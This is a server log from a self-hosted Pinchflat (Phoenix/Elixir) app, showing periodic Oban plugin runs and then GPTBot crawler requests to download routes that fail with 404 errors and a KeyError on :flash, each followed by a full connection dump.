{"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:30.206 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.208 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.417 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:30.210 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.212 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.418 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:30.214 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.216 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.420 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:30.218 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.220 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.421 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:30.222 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.224 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.422 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:30.226 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.228 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.423 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:30.229 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.232 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.424 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:30.234 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.236 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.425 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:30.238 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.240 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.426 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:30.242 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.244 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.427 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:30.246 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.248 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.428 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:30.250 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.252 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.429 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:30.254 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.256 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.430 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:30.258 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.260 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.431 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:30.262 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.264 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.432 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:30.266 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.268 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.433 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:30.270 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.272 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.434 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:30.274 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.276 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.435 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:30.278 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.280 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.436 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:30.282 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.284 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.437 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:30.286 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.288 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.438 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:30.290 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.292 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.439 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:30.294 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.296 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.440 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:30.298 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.300 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.441 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:30.302 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.304 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.442 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:30.306 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.308 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.443 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:30.310 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.312 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.444 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:30.314 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.316 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.445 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:30.318 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.320 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.446 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:30.322 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.324 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.447 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:30.326 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.328 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.448 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:30.330 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.332 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.449 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:30.334 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.336 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.450 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:30.338 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.340 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.451 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:30.342 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.345 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.452 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:30.347 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.350 [info] {"source":"oban","duration":2433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 21:38:00.453 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:30.352 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.354 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.454 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:30.356 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.358 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.455 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:30.360 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.362 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.456 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:30.364 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.366 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.457 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:30.368 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.370 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.458 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:30.372 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.374 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.459 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:30.376 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.378 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.460 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:30.380 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.382 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.461 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:30.384 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.386 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.462 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:30.388 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.390 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.463 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:30.392 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.394 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.464 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:30.396 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.398 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.465 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:30.400 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.402 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.466 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:30.404 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.406 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.467 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:30.408 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.410 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.468 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:30.412 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.414 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.469 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:30.416 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.418 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.470 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:30.420 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:49.787 [info] GET /sources/4/media/99281/force_download 21:55:49.789 [debug] QUERY OK source="settings" db=0.4ms idle=930.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:49.789 [debug] QUERY OK source="settings" db=0.3ms idle=145.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:49.790 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:55:49.790 [error] #PID<0.262268.0> running PinchflatWeb.Endpoint (connection #PID<0.262267.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/99281/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262267.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54262}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.246", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.246" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.262268.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.246"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.246"} ], request_path: "/sources/4/media/99281/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GID8BGg5slYJj6QAMOOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262267.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54262}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.246", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.246" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262267.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54262}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.246", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.246" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.262268.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 21:55:55.507 [info] GET /sources/3/media/3298/force_download 21:55:55.508 [debug] QUERY OK source="settings" db=0.3ms idle=1863.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:55.508 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1864.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:55.509 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:55:55.509 [error] #PID<0.262272.0> running PinchflatWeb.Endpoint (connection #PID<0.262271.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3298/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262271.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54266}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.246", "x-forwarded-host" => "pinchflat.guano.duckdns.org", 